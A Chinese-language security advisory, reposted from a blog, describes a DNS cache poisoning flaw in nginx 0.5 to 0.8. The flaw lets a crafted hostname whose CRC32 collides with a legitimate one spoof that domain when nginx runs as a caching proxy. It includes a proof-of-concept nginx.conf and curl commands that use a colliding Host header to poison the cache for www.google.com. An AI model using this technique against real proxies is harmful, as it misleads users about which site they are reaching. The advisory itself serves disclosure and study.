受影响系统:
Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x
描述:
nginx是多平台的HTTP服务器和邮件代理服务器。
nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。
< *来源:Matthew Dempsky
链接:http://marc.info/?l=nginx&m=125314374727296&w=2
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
使用以下nginx.conf:
events {
worker_connections 1024;
}
http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}
然后运行curl验证缓存中毒:
$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
Ho hum, nothing to see here, move along please.
$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
Oops, you shouldn't be asking me for http://www.google.com/!
建议:
厂商补丁:
Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://nginx.net/
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/438834,如需转载请自行联系原作者